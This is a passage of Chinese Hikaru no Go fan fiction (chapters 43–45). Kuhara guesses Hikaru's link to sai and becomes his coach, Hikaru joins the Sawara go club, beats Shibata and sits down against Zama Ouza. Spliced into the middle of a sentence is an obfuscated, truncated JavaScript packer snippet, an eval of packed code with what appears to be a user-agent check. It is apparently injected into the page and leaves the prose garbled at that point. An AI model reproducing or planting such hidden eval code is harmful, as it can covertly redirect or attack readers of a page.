“我从sai的第一局棋就在观察他,你的棋风想逃过我的眼睛是不可能的——我这双专门为看棋而生的眼睛,从来不会看错任何一个棋手的本质。sai不是一个,而是两个。你同时扮演着两个棋力不同的人,一个是现在的你,一个是百战百胜的你,他们都是你。” 边吃甜食边说这种话,一点说服力都没有!光很想这样吐槽,但他知道,这个久原木子郎是“真货”。《围棋周刊》上的那些评论文章,以及他发布在私人博客上的针对sai的分析文章,都是最好的证据。如果说进藤光是下棋的天才,那久原绝对是看棋的天才。 在这样的天才面前,贫瘠的反驳只会显得他更慌张而已。 更何况“sai是两个”的推论,在某种意义上正确得出奇。 光故作镇定地抢走他手里的面包,再三强调:“不好意思,真是你误会了!sai的棋风和我比较像,是因为他是我师父,我是他弟子,就这么简单。你去问问其他人就知道了。” “不。我不觉得。” “你这个人还真是油盐不进诶……” “因为我有证据。” “……啊?” 久原微微一笑:“一流的八卦记者绝不会忘记修炼信息收集的基本功,我对电脑有一些粗浅的了解,通过ip地址确认sai的实际对局地点并不困难。虽然sai从几周后就突然切换地址到了新的住所,但在那之前,他一直都固定在某家网络咖啡厅上线,上线的时间也非常固定,而且也完全没打算隐藏自己的ip。你对电脑一窍不通吧,进藤。” 光感觉自己膝盖中了一箭。 这话不是嘲讽,而是事实如此。进藤光一根筋想着下棋,会用电脑打字就不错了,哪里懂什么隐私保护? 久原说到这,把手伸进塑料袋去抓下一个牛奶布丁,鬼知道他怎么会一次性买这么多零食,也许是边吃边聊能缓解紧张吧。光从他的小动作里推测,他看似平静的语气下也藏着一颗隐隐期待的心。 至少这家伙,也是鼓起勇气才来找自己谈判的。 “然后呢?” “然后,出于对真相的好奇心,我抽空去了一次那家咖啡厅,给前台的小姐姐看了你的照片。”久原顿了顿,补充道,“哦,容我解释一句,照片不是从奇怪的途径拿到的,只是北区中学围棋大赛的时候我拍摄的对弈公式照而已。” “我知道!” “结果,你猜她怎么说?” 光耸耸肩,“她也有可能是认错人了。” 久原直接笑出了声,“认错人?别逗我了,进藤,你觉得世上还有第二个和你一样留金色刘海的日本小学生吗?” 这……他竟无法反驳。 可是这个家伙?!从那么早就开始怀疑了?! 而且还真的跑去验证现场??? 这职业级别的记者精神是怎么回事?用来下棋也太浪费了吧?! 光这下再也憋不住了,只能用声量掩饰他的不安:“你搞错了!我是去过那家咖啡厅,但下棋的人是sai!不是我!我只是……只是通过邮件转达sai想下的位置而已!” 像是料到他会这样矢口否认,久原没有顺着这个话题继续延伸。 已经无所谓了。他亲眼见到了那个画面,不怕任何借口。而且真相本来也不重要。 他终于放下塑料袋,从长椅上站了起来,向光走了两步,一旁的佐为连忙伸出双臂想保护自家的幼崽,结果被他轻易穿梭而过。这画面让光的紧张又加剧了几分。 “你、你要干嘛?” “没关系,我不在意你是人格分裂,还是单纯想玩双重身份的小游戏,我着迷的只有你下的棋,sai是谁都行。所以……这个秘密我会继续替你保守进坟墓,作为交换,我希望你能来佐和良中。” “这算是威胁吗?”光垮下脸来。 被光这么一问,久原一脸受伤的表情,捂住了心脏。 “怎么能说是威胁呢!请称呼它为早期风投!” “风投?” “就是风险投资(venture capital)的略称。”对于进藤光有限的文化水平,久原总算有了预期,这么复杂的片假名外来语确实在对方的知识盲区,于是他换了个简单的说法,“总而言之,我要投资你,进藤光!为了让你成为更优秀的棋手!” 光瞪大双眼看了看佐为,发现对方和自己一样迷茫,又双双迷茫地转向眉飞色舞的久原木子郎。 “呃……你想做什么我是搞清楚了,但是啊……” “没有但是!你还能下出远比现在更好的棋,进藤!” 见说服无效,久原只能使出□□,用食指粗暴地指着进藤光的脑门,连戳三次,话语也越来越犀利。 “你才12岁!你的潜力是无穷大的!而我的专长就是分析不同棋手的思路,我可以帮助你拟定更完善的策略,你的成长空间绝对不止现在这样,过去几个月,你的棋力的确有过长足的进步,但你也感觉到了吧,——‘差不多快要到头了’。” “……” 不知为何,这最后的七个字牢牢刻印在了进藤光的脑海中。 进步神速的自己是依赖前十二年积累的棋力、在重新遇到佐为之后爆发出来的假象。在他内心深处,还是很害怕回到重生之前的瓶颈状态。 不论当时,还是现在,他真真切切有着那样的感觉——单打独斗也差不多快要到头了。 这种灵魂的默认,让他第一次忘了出声反驳。 久原继续在他周围踱步。 “最近好几次对局里,你都下出了相似的棋步,往好了讲是有自己的风格,往坏了讲就是又开始因循守旧。只是一直在赢,赢得太轻松,让你在无意中原地打转了。” 如久原所言,进藤光重回过去已近半年,除了佐为、塔矢行洋和绪方精次这三人,他并未找到机会与更高层次的棋手对局。 而这三人之中,和佐为他屡战屡败、从未获胜,很难验证自身的成长;和塔矢行洋的交手一直仅限于研究会内非正式的简单对弈,次数有限;和绪方第一次对局是佐为下的,后面也偶尔和他在网上以hikaru的名义约战,总有一方时间不够,算不上什么正经对局。 至于其他对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但他确实有那么一丁点——只是一丁点——被这个独特又离谱的提案吸引住了。 久原看出他的抗拒出现了缝隙,顺势加了最后一把火。 “我是真的觉得你能做到,进藤。日本棋坛已经日薄西山很多年了,没有第二个能继承秀策传奇的人,只有你和塔矢,你们是我唯二看到复苏希望的新人棋手!只有你们才有可能挽回这个国家的围棋颓势。如果你就是sai的话,你最大的问题就是很多时候发挥极不稳定,只要解决了这个矛盾,将来你一定可以大!放!异!彩!” 他的语气逐渐上升到演说家的兴奋状态,每一个抑扬顿挫都极富感情,最后将一枚打印着密密麻麻的长表格的巨大A2纸张用双手摊开、哗啦摆在进藤光面前。 光都必须后退几步才看得清纸有多大,更别提上面细致到每个时间段的文本内容了。 原来他背着的巨大书包是干这个用的? 他倒吸一口凉气,“……不是!你怎么连日程表都打印出来了?!” 这家伙玩真的啊!而且还早有准备!看来不是构思这个想法一天两天了!等一下,那些“拟邀”某某职业棋手与进藤光对局的综艺宣传般的描述又是怎么回事?! 哼哼,久原露出微笑,打了个悠然自得的响指。 “So,雇我当经纪人吧,进藤。我不需要工资,也不需要分红,我只想见证你冲击‘神之一手’的巅峰。” 神之一手…… 光忍不住屏住了呼吸。 从久原那刻意压低45度的下巴的弧线可以看出,他为了摆出这一刻的造型,在家不知对着镜子偷偷练习过多少次。进藤光顿时觉得有点好笑,但那双充满期待的眼睛里写满了“答应我!快答应我!”的可视化台词,紧张又可怜的模样仿佛一旦遭到否定就会立刻哭出声,让人很难拒绝。 最后,光只能无可奈何地叹了口气。 “你这个与其说是经纪人……更像是教练啊……” 久原的眼睛一下子就亮了起来,他像只小狗一样绕到光面前,双脚原地踩着小踏步,十分快乐地接受了这个称呼。 “‘教练’感觉不错诶,那你直接叫我久原教练也行。” 光的额头立马多了一个黑色“井”号:“你丫别蹬鼻子上脸!” “那不然,‘久原老师’也可以。” “不许学塔矢亮!” “拜托了进藤,这是我一辈子唯一的愿望!” “喂!不要在这里下跪啊!!搞得像在求婚一样!!!” 于是,莫名其妙地,在开学的那日,进藤光穿上了佐和良中学品位奇葩的校服,坐在了一个完全陌生的礼堂里,听着前方从没见过的校长发表一长串枯燥无味的演说,一脸生无可恋地望着身边的佐为。 ●○●○ 44.Chapter 43. 进藤老师开班啦 和他相比,佐为的心情倒是有些小幸福。 “好酷哦小光!佐和良的制服也很适合你!” 从现在开始,小光就是像模像样的中学生啦。佐为就像历经千辛万苦终于抚养儿子长大的慈母,极富成就感。 ——我又不是在收集全东京的国中制服!点图鉴有什么用啦! 光很想这样吐槽。不过也算了,佐为这么高兴,他就姑且接受这身制服的审美吧。 自此,进藤光的二度人生的轨迹迎来了首个重大的转折点:并非因为他的棋力境界如何变化,也无关于和塔矢亮之间提前的友谊,而是既定人生轨迹严重偏离预想的开端。 他第一次发现,重生的经验不能战胜世俗的行为准则。更重要的是,在久原的推波助澜下,他半推半就树立了全新的目标: 一年内全国制霸。 三年内拿下世界冠军。 狠话都放出去了,没得回头路走了。 “小光!有塔矢君给你的电话哦!”从学校回家时,美津子还在绞尽脑汁对付着手里的炸鸡,满手都是面粉,没工夫理会光的异常。 “知道了!” 转念一想,或许塔矢是来找自己是有什么有趣的事,于是光的心情马上又如安装了转换器一样瞬间明朗,他笑容满面地走到楼梯口。 接着在听到塔矢亮声音的第一秒,笑容坍塌。 “——听说你拒绝了海王的录取信。”对面传来亮的质疑。 光把听筒拿远了一点,脸上全是嫌弃:“呜哇,你的情报更新得真快。但海王是真的不行啦,我受不了他们的做派,再说,让我在那里念书我绝对会因为自己太笨而抑郁致死的!我又不像你,脑袋那么好使。” 电话那头的塔矢似乎有些失望。“……是吗。很遗憾我们不能在同一所学校,不过,这不意味着我会减慢进步的速度。减少见面的机会也是好事,这样一来,每次相见时你都能直观感受到我的成长了。我会追上去的,进藤。” “我倒是很好奇你要花多少年才能超越我呢,塔~矢~老~师~” 对方的语气明显收紧了:“你不会等太久的,不过,那也得在你的棋力不会因松懈而生疏的前提之下。” “我才不会!!” “我期待着。” 佐为听着两个少年的对话,在一旁捂嘴“嗤嗤”笑起来。 有对手真是一件幸福的事啊…… ——对我来言,你也是一样,塔矢行洋。就是不知何时我们才能正式对弈? ——不是和小光一起,而是一对一的对弈。 佐为小小的希望暂且不提,光其实也在努力制造他们对弈的机会,不过他最近有点手忙脚乱。 国中生活的平淡无奇令进藤光渐渐淡忘了自己身在佐和良中学的事实,换句话说,除了偶尔抽空去围棋部锻炼锻炼后辈之外,他的心思根本没放在学校上。 按照久原“教练”制定的魔鬼训练计划,日复一日,他地狱般的生活开始了:早晨起床长跑3公里训练体力,课间阅读最前沿国际赛事的棋谱,不必要上的课程偷跑去围棋教室和久原进行复盘分析,放学后前往塔矢家的围棋会所与亮对弈一局,然后参考久原给出的营养食谱严格监控饮食,晚饭后再和佐为对局、检讨,一直到深夜,睡前最后再和久原找来的推荐对手下一局网棋。比之前他自行安排的时间线程还紧凑数倍! 唯一的差别就是,他现在可以毫无顾忌地在课上睡大觉了。教师们都知道他是校长指名的怪胎,不会叫醒他。 如果不是那天他碰巧听说了围棋界的一个熟人,恐怕他真的会以为平淡的中学生活就会这样持续下去。 “啥?座间王座?!” 进藤光重复了一遍这个名号,像在确认自己的耳朵是否出现了幻听。 结果棋盘对面的久原点头得十分平静。 “是啊,我说了会帮你找靠谱的职业棋手讲课的,要找当然就要找最好的。座间王座已经答应挂名我们学校围棋部的社团指导了,他以前也来过一次,参加签约仪式,只是那天你正好不在。哦,放心啦,说是指导,但他只是专程来陪你下棋而已。” 什么叫“而已”?!王座,可是七大头衔之一啊!相当于日本棋坛最耀眼的七大魔头! 眼下塔矢行洋一人独占四冠,剩下也就三人罢了。 座间王座正是那最强的三人之一! 光一时不知从何开始形容自己的心情:“……这……就是传说中的钞能力吗……请一次王座得几位数的金额啊?把我卖了够吗?” 久原笑而不答。金钱从来不是他该考虑的问题。佐和良像海王一样有专门的围棋训练场地,棋馆建在食堂二楼,拥有足够空旷的空间和标准化的装修,无论桌椅、棋具、计时器、讲解用大型黑板、还是巨大的玻璃窗,一概都是一流的。虽然人数不多,但他们拥有的资源并不逊色于海王。可能是因为校长的儿子、久原木子郎个人很喜欢围棋吧。 社团活动的时间内,光只要坐在这里,就能从四周棋子接触棋盘的愉悦声响中得到治愈。就是那样高级优雅的环境。 自己要在“这种地方”,同“那个”座间先生对弈吗? 虽然比不上幽玄之间,但这里已经比许多职业赛事的场馆舒适许多了。一向爱慕虚荣的座间先生可能真的会喜欢这里? 误以为他在紧张的久原安慰道:“所以,你要好好利用这个机会。围棋部的其他人倒是也想听他讲课,但基础棋力实在差太远了,完全听不懂,最后就会变成科普围棋文化历史的报告会,多浪费啊。不过,我和柴田君可能会一起出席。” 听到这个名字,光抬起头来。 “柴田?是院生的那个柴田吗?” “哦,悠一君他在二年c班,进藤君没见过他也正常。” 一旁正在摆棋盘的双马尾女生面带笑容地插上了话,光记得她的名字好像是叫山崎幸,现在是一年级。 光“啊”了一声,“我知道他!原来他也是佐和良中学的学生?我一直以为他和我同岁呢,结果居然是前辈啊。” 进藤光颇为惊讶,他还以为这所学校里除了自己,不会有选择以职业棋士为目标的人,毕竟大家学习成绩都不赖,想考上一所名牌大学并非难事。就像海王,那里的围棋部虽然厉害,但社员都只是业余地下下围棋,给自己的履历增加分量而已。 就在这时,谈话中提到的面无表情的少年突然出现在他们身后。在光回头的瞬间,少年原本冰冷的脸上浮现出了神奇的表情。 “你是……进藤光?” 他一下子就叫出了光的名字。 “什么什么,难不成你们已经认识了?”围棋部部长云里雾里地望着他们。 “岂止是认识……”柴田悠一气势满满地举起大拇指,吼道,“他可是全体院生、不,尤其是我必将超越的目标啊!!” 整个教室一片寂静。 这下,惊呆的人已经不止部长一个了。所有人都震惊地看着人群中央的进藤光。作为莫名其妙卷入比试的当事人,光表示他完全不知道从何时起自己又多了一个小迷弟。 “哈?”部长表示不解,“进藤这么厉害吗?” “你在说什么啊!围棋界的究极北斗星,塔矢门下第一人的天才少年棋手进藤光,你们难道都没有听说过?!”柴田好像比他们更加意外,或许他觉得这应该是基本常识,而面前的这些人居然完全意识不到进藤光有多恐怖,“久原!你都没跟他们好好介绍过进藤吗?!” 久原心虚地挪开了视线,“这个嘛……进藤本人说想低调,我就没细说。” 确实如此,光不想来了这里还被各种奇怪的人包围。 他“平淡无奇”的中学生活的错觉大都来源于——周围这群同学都还不知道他到底有多出名而已。 目瞪口呆的部长在几秒钟的沉默之后慢悠悠地扶起眼镜:“这……这么说起来,好像确实有在什么地方看见过进藤君的名字,只是没有在意……我一直以为他只是上次联赛下赢了久原的水平而已,就是……有点厉害,但没有那么厉害。” “嘶……进藤君是塔矢门下弟子?还是第一人?”说话的是一直关注着他们的花痴少女山崎幸,“是那个四冠王塔矢行洋吗?真的假的?” 光当机立断地解释道:“我还不算正式拜入塔 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“进藤,你果然深藏不露……虽然以前也觉得你强得过分,但是这么重要的事你怎么可以故意不告诉我们呢?我们还能一起愉快地玩耍吗?” “进藤君!请给我一个签名!!天哪,我一定是在做梦……” “进藤,能不能给我们讲一讲塔矢行洋是个什么样的人?” “进藤君!快和我下一盘指导棋!” 众多混乱的起哄声中,突然爆发出一句铿锵有力的咆哮:“谁也不许跟我抢!!进藤光是我的目标!!” 最后一句话出自看似面瘫的院生柴田悠一,此言一出,进藤光只惊觉浑身泛起鸡皮疙瘩,这话说得本身没什么语法错误,可是怎么听怎么不对头。 柴田说完立刻摆出了准备作战的姿态,像一只猎犬呼哧喘着气,死死盯着光的方向。 “呃、那个……柴田……” “有朝一日我一定会打败你的,我看过你的棋谱,进藤光,你绝对是我的职业道路上最大的阻碍者!” 柴田难得露出的激动神色和记忆里的洪秀英有着神奇的一致感,进藤光本来想说点什么的,却发现不知道该说什么好。他一直拿洪秀英那样的人没有办法。 “等一下,这里是围棋部,不是棋院……我们还是先……” “你的棋力,怎么看都是职业级的啊!真令人不爽!”柴田伸出的手指一直在光眼前晃悠,“等我超越了真柴,你就是我下一个目标!” 等等!为什么会莫名其妙的不爽?明明他也很不爽好不好?怎么他就变成了和真柴充相提并论的棋士了?硬要提的话,起码也提个厉害点的角色吧? 柴田越说越委屈,眼眶都快掉小珍珠了:“因为你,我家老爸才会变本加厉地虐待我!说什么恨铁不成钢、虎父有犬子、人家小小年纪都已经强到变态了、你怎么还赖在院生二组啊之类的……去年还一直说塔矢塔矢塔矢,今年就变成了进藤进藤进藤,你们俩的名字我都听到耳朵起茧了!” “这不是我的问题吧!” “吵死了!总而言之我只有把你打败了,我家老爸才会停下每天念念叨叨!”柴田的真心话似乎和玩笑结合在一起了,“打败你,然后成为职业棋士!要是能实现这个夙愿,我就死而无憾了!” 不是,都要死了、倒是订个高一点的目标啊! 进藤光很想这样吐槽,但他不是来讲漫才的。 “真是个嚣张的家伙……”光突然感到内心充满了愉悦,嘴角不自然地翘起,他一屁股坐在棋盘边,直接脱掉了制服外套,“那就让我来好好教训一下你吧!用实力差距告诉你,职业级的棋士可不是随随便便就能挂在嘴边的目标!” “乐意奉陪!” “这局可不是指导棋喔!” “那更是求之不得!” 两人的对立到对弈实在转折得太过迅速,以至于周围的人都没有来得及插话,只有久原一脸看好戏地举起了相机。 果然,进藤的加入,一定会让事情变得很有趣呢。 ●○●○ 45.Chapter 44. 让我考考你 当窗外一群放学的小学生追着鸽子路过食堂的时候,被隔墙内爆发出的争吵吓了一跳。 “哈?我才不稀罕进藤你的让子咧!” “你小子……目中无人也要有个限度!” “就算你很厉害又怎么样,我柴田悠一不是那种遇到强敌就临阵脱逃的懦夫!万一和你下让子棋我还输掉,岂不是更丢脸了?!” “这可是你说的……互先的话,不管输得有多惨都不准哭着回家找妈妈哦。” “才不会!!” 旁边的佐为一边黑线一边暗想“小光最近真是越来越像小孩子了啊”,然后津津有味地凑上前去看两人的对局。 “佐为,你想下吗?” 突然,进藤光猛地抬起头,像是意识到什么一样望着佐为。 最近佐为只是在网上下棋而已,除了和光对弈之外,他貌似都没有怎么接触过其他对手,这让他心里一直有些痒痒的,听到这话当然一口答应:“好耶!对弈!对弈!” 进藤光的眼瞳中闪过一瞬而逝的怀念,以及其他某种难以言表的情感。 他的脸上乍一看全是风轻云淡的欣慰,却不是那么纯粹。 “嗯。下棋吧。”他微笑着说。 对局马上就要开始了。 柴田作为挑衅的一方,其实有自己的想法,他崇拜且尊敬这个同龄的高手进藤光,所以不管怎样,都希望对方可以记住自己——就算是以某种不友好或幼稚的方式也没关系。 能够吸引到进藤光与自己对弈,可以说自己的目的已经达成一大半了。 没想到他居然和自己在同一所中学啊…… 这一定是命运!是命运让他们成为对手的!虽然现在还称不上对手,但他会努力让它成真的! “进藤君。” 在正式开始棋局之前,柴田毫无征兆地变回了严肃的样子。 原本正在摸棋子的进藤光奇怪地停下了动作:“什么?” “下完之后,请务必陪我复盘!” 这像是诚心诚意拜托别人的口吻吗——进藤光本来是打算这样吐槽的,但是嘴边的话在他看见对方眼中难耐的热情之后吞回了肚子里。虽然面上有些疯疯癫癫的,这个张狂的小子却是真的渴望着前进的哪怕一丝可能性,他对于强者的向往并非虚假。 “可是,座间王座不是快来了吗……” “那就顺延到结束之后!” 柴田却并未退缩,目光颇有咄咄逼人之势,实际上也夹带了更多的诚恳。 能有这样的心,想必以后他也不会是池中之物。 “没关系,小光,我会尽快结束战斗的。”佐为斗志昂扬地收起扇子,“既然他这么希望,我就全力以赴地打击他一次吧!” 闻言,进藤光的心情百味杂陈——绝望确实是催人奋进的一剂良药,但是万一弄不好可是会让对方彻底失去兴趣的啊……比如跑去下将棋的加贺前辈。 “好。”进藤光决定考验一下这个气势满满的孩子,“我会尽量在100手以内结束棋局,请你做好心理准备。” 这样自大的话也只有从他的嘴里说出来才会那么理所应当,周围围观的群众们立即兴致高昂,毕竟光的实力有目共睹,他绝对不是在开什么过分的玩笑。 柴田倒吸了一口凉气,最后期待地眯起双眼。 “……棒极了。” 同一时刻,塔矢家的围棋会所。 这几日会所的生意一直异常火爆,市河向广濑打听了一下,才知道是进藤光的名声越来越响亮,业界许多人士都常常跑到这里来看进藤光与塔矢亮的对局,害得市河工作量暴增。连围棋会所都要排队才能进,这样稀奇的图景,她倒是平生初次见到。 不过,为什么进藤光只认定塔矢亮一个“毕生的对手”呢,大家都完全想不明白。论棋力,光曾经完败过职业高段的绪方,应该不会只惦记着亮一人。 只有不太懂围棋的市河觉得,他们成为对手是理所应当的。她从第一眼看到光开始,就有那样一种预感,吸引光和亮彼此切磋的东西可不仅仅是实力,还有很多很多她也说不清楚的成分蕴含其中。 亮最近的进步也非常明显,看得出来他心情不错。只要亮能够开心便万事大吉了,市河美滋滋地想着,顺手给她家亮君添了一杯红茶。 “谢谢你,市河小姐。” “没事。”市河笑眯眯地捂住自己的脸,“亮君有什么要求就直说哦,只要是我能做到的都没问题!” “……是。” “不过,今天进藤居然不来啊……突然没了他的聒噪,好不习惯哦。”市河不悦地剜着门口的方向,“怎么可以让我们家亮君一个人下棋呢?” “他今天应该在佐和良的围棋部吧。我们已经约好要各自努力了,市河小姐不必担心。” 亮有模有样地打趣起市河来。 坐在前面的北岛回头应和道:“市河小姐看上去很中意进藤呢。怎么,从情敌变成伯乐了?” “北岛先生,要是再多下去说今天的茶就没有咯!”市河佯装生气地举起手中的茶壶。 “我错了我错了。”北岛挥挥手,转向微笑的亮,“对了,小老师,你有没有听说过sai?” “sai?您是说网上那位棋士吗?” 亮恢复了谦逊有礼的标准君子形象,他怎么会不记得这个大人物,毕竟自己曾经在全力以赴的情况下惨败给sai,那一夜彻底改变了他的围棋观,也奠定了他做进藤光对手的决心。 “父亲的研究会上还专门讨论过他的棋谱,是个实力相当可怕的人。北岛先生为什么突然提起他?” “啊,前几日在周刊围棋上看见过,所以问一句。”北岛仔细地回忆起当时的场景,“大家都说他的棋有很浓的秀策风格,然后我记得小老师你也说过进藤的棋有很浓的秀策风格,可巧合得很呢!” “秀策……确实,他们的棋风非常像。” “所以呀,我那时有一瞬间冒出一个神奇的想法,该不会进藤就是sai吧!”北岛哈哈哈地大笑了几声,“虽然不太现实,可我觉得很有趣哦。” 连北岛先生都注意到了吗。亮的眸子闪烁了片刻,嘴上却替光解释道: “不,我也跟进藤这样说过,但他矢口否认了。因为sai其实是进藤的老师。” “这样啊,真遗憾!我还以为我发现什么大秘密了呢!” 北岛很显然只是在说玩笑话,但警觉的亮却很认真地思考起了可能性——确实,两者的棋风实在太相似了,进藤的棋力也确实足以匹敌高段棋士,这是父亲已经承认的事实。说不定,万一,进藤所说的sai只是编造出来的人物,那这个猜想就是对的…… 想到这里,亮的表情有些不自然。一度被说服的怀疑,又一次浮出水面。 他继续以优雅的姿势夹起棋子,轻轻摆到面前的棋盘上。 此时的佐和良中围棋部。对弈正在火热进行中。 应对柴田的棋,佐为根本不用费太多心力。这个孩子棋力倒不是很弱,但冲劲太强了些,往往一不留神就伤害到自身。 回想起来,简直就和最初的自己一模一样——热衷于争夺地盘,害怕差距拉大就无法弥补,竭尽全力地试图做到最好,以胜利为第一要义……倒不是说这些态度有什么不对,想赢的人没点气势怎么能行,可是从锋芒毕露到恰到好处的转变,需要一个异常艰苦而漫长的过程。 举个最简单的例子,好比对于进藤光,佐为的离去正是他棋风突破的一个契机。 怀抱着必死的决心继承佐为的棋,心情无疑是炽热的,而曾一 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他在努力地挣扎着,没错,是挣扎,在过于强大的佐为面前,他毫无还手之力。那些反击很难说得上是反击,就像一只刚出生的小狗用软绵绵的爪子拍打来自狮群的领头母狮,收效甚微。 为什么不起作用?棋院教的那些定式,突然就脆弱得不堪一击。 他唯一能做的就是尽量多撑片刻,减少己方的损失。 尽管早有心理准备,他还是忍不住感到悲凉。 那种咬紧牙关在思维的死胡同里绕圈子的感觉,实在糟透了。他终于明白了为何和谷在和进藤对弈后会发出那样丢脸的悲鸣。 “我……不行了。” 意识到若是再纠缠下去就有些耽搁对方的时间,柴田赤红着脸艰难地吐出这句话。放下手中紧握的棋子对他来说是那么的痛苦,现实一次又一次地冲击着他的内心。 “是真的无路可走了吗?” 奇怪的是,几乎将他完败的进藤光却以容光焕发的姿态向他抛出一个疑问。 “什么?” “是真的,没有办法改变定局了吗?”进藤光指指棋盘上一个空点,“你看看这一块。” “……” 柴田顺着光的指示紧盯盘面,在层层叠叠的包围中,那块棋确实是死透了,根本不可能复活。然而,既然光这样说了,那便是有他自己的考量。 “这个问题,我留给你自己去想。”光却突然收回了解说的打算,因为门口出现了座间王座的身影,“下次见面的时候,我希望可以得到你的答案。” 柴田有些难以置信地看着他。进藤光这么做是为什么?为了考验他?还是有什么其他的理由? 真的有突破的方法吗? 反败为胜,反败为胜,反败为胜……在心中重复了几遍这个词,他再次燃起似火的斗志。 在座间王座踏进教室门的瞬间,柴田猛地抬起头。 “我知道了,下次见面的时候,我一定会想出反败为胜的方法给你看!到那时,就请你把我当做你未来的对手吧!拜托了!” 这似曾相识的感觉。 一种难以言表的情绪笼罩了他的胸腔,进藤光好像已经被这句话打动,他回头望着柴田写满倔强的脸,微微翘起嘴角。 “可不是那么简单的事哦。” “当然。钦定对手也不是半吊子的心态能实现的,前面还排着真柴、阿福、和谷和伊角呢。”柴田似乎对此已有心理准备。 “那我就等着你的答案了。” 进藤光笑了。 旁观了整场对局的久原这才收起嘴角的姨母笑,放下相机,清了清嗓子,报幕般拉长声音道:“座间老师来了——” ●○●○ 46.Chapter 45. 进藤光vs座间王座 警报拉响,热身赛到此为止。伴随真正王牌棋手的登场,光迅速将目光聚向前方,也许连他自己都未曾发现,在面对实力高深的对手时,他会不自觉收起面部的一切表情——唯独留下肃穆,与庄重。外界的所有人此时都无法进入他的眼中,一如从前在赛场上与他相见的塔矢亮。 这敌意与座间王座本身的气质无关。围棋部的众人看到棋界明星出现,或欢欣、或好奇、或紧张,但进藤光感受到的,却是凌驾于一切之上的战意。 是战意。 冰冷得可以冻结万物,又炎热得能灼伤最坚硬的金属。 与进藤紧皱的眉头相比,座间看上去轻松许多。座间本人总是面带微笑。体面的头衔持有者时常在新闻头条露面,他们不得不学会隐藏真面目,以和蔼可亲的形象示人。偶尔有傲气外露的,一旦输了棋就会惨遭外界谩骂,傲气只是世界排名第一的棋手的特权。 塔矢亮曾在新初段联赛中与座间对局过,据他的描述,真正的座间是个锱铢必较、极爱面子的典型日本男人,看似宽宏大度,可一上棋盘就会露出真面目。但无论他性格如何,能常年稳坐王座之巅的,又怎可能是轻易被击败的小角色? 或许在座间看来,今天不过是收了钱、例行公事给普通中学生讲讲棋,属于棋院的商业任务,应付一下就过去了。 可光完全不这么想。 这份过于猛烈的战意甚至让一旁的佐为都受到了感染。他也和光一样,是顶尖的棋士,因此对相近水平的棋士有着敏锐的探查力。面前这个面容松弛的矮胖男人一定很危险,轻敌的话,绝对会遭到毫不留情的反击。 久原和围棋部部长早就走上前去和座间打招呼了,跟着座间来的秘书检查着场馆内的布置,似乎在为讲课做准备,围棋部普通成员们则一个个站在周围小声讨论着什么,只有进藤光,脚跟就像被黏住一样,死死停留在原地,锐利的视线直指座间王座。 佐为收起了手中的折扇。 “小光,这一局,你来下。” “……” 光张了张嘴。他原本也是这个打算。座间这个等级的强者,他和佐为都想对弈,但是,抱歉了佐为,眼下更需要这场战斗的人,确实是自己。那颗渴望与强敌交手的心,早已扑通乱跳,再遏制下去怀疑血管都会直接爆炸——就是剧烈到这种程度的渴望。 “谢谢,佐为。”光将口中的唾液一次吞进喉咙,以期刷新最干燥的备战状态,“今天就让我接受你的好意吧。” 敌人还未注意到他的死亡视线。 在光的记忆中,座间曾一度被其他棋手夺去“王座”之名、却在隔年的头衔战中凭实力将其夺回,到了他这个年纪,还有如此刚猛的战绩,实属罕见。许多有格局的头衔持有者卫冕几次后,就会不再执着于头衔,主动将机会留给后来的年轻人,但座间显然不是这种棋手,他很想赢,想垄断这个地位,这种对地位的执念又和人到老年依旧不败的桑原本因坊不一样。 无论如何,除开性格有些不讨喜,座间是有真本事的顶级棋手。即便是和塔矢行洋对弈,两人也互有胜负,只是近几年各自守卫各自的头衔、鲜少直接交战罢了。 一上来就是这样豪华的大菜啊……谢谢你了,久原木子郎。光闭上眼,对这个奇怪的经纪人表示了感谢。 随后,他再次睁开眼。 眼中已是一片纯净的冷静。 久原还在邀请座间来到棋盘前,连连鞠躬:“座间王座,请。” 看到那雕工精致、木材上佳的座椅,座间满意地笑开了花,迈着略显臃肿的步子来到座前,抚摸着扶手。一摸他就知道这椅子价格不菲,是江户时代的老古董了,木头养人,金钱更养人,看来这个久原家确实有好好尊重他的王座头衔。 “喔,这可真是个配得上王座之名的御座啊。” 久原陪笑道:“父亲让我替他向您问好。以您的名义设立的围棋基金,想必将鼓励更多孩子走上围棋之路吧。今天您要指导的这位进藤棋手,就是其中之一。” 他突然提到了进藤光。 光一愣,虽然不知道他在说什么,但先配合一下吧,于是他往前走了几步,停在座间跟前。 座间听到这个名字,第一次对他的存在产生了兴趣,连手边的茶水都放了回去。 “进藤?让塔矢名人另眼相待的那个小孩,就是你了?” 光点了点头。“是。” 这个瞬间,光感觉到了,从一开始就维持在座间表面的客套的笑意正在消失,提起“塔矢名人”时,对方语气不善,进藤光不再是芸芸众人之中的一个,而是作为“值得敲打的对象”站在自己面前。 秘书提醒时间差不多了,座间停止了寒暄,走到棋盘展示大黑板前,掏出早已打印好的那叠讲义,开始计划中的讲课。掌声响起,光这才跟着一起拍了拍手掌。 其实光压根没听他讲了什么。久原说得对,职业棋士来这种场合不可能讲太难的干货,也就是对院生来说还算有益的一些对局技巧,顺便讲了几局座间卫冕头衔战时的棋——尽管这几局早在各种场合被翻来覆去讲烂了,但对外最有名的、最吸引路人的肯定还是它们。在另一方面又显示出日本棋手的不思进取,毕竟要是有更强的世界级战绩,他就可以讲另外的话题了。 等到他恢复意识时,座间的讲座正好结束。 久原“咔咔”拍完照,马上掏出了他熟练的那套记者采访话术:“那么接下来是自由交流时间。座间老师,我们部里最强的进藤一直很想找机会和您对弈,您可否赏个脸呢?” “好说好说。佐和良的围棋氛围很让人耳目一新呐,今后也要多多交流,为围棋界培养更多人才。” “您说得是!进藤也会以您为憧憬,不断努力的!” 麻烦事都让久原做完了,进藤光只需要乖乖来到棋盘对面,和座间下棋而已。还好这番话不需要他自己来说,不然绝对会因为尴尬而选择自闭。 反观对面,长期徜徉在花式吹捧的空气里的座间显然还没意识到答应下这局棋的严重性。他懒洋洋地打开扇子,扇了几下风,明明室内就有空调,硬是凹了个造型。 “你,在塔矢名人那学棋多久了?”座间还在套用商业模式的模板和他对话。 光老老实实回答:“我是今年1月起去塔矢老师的研究会的。” “那才两个月嘛。棋力如何?” 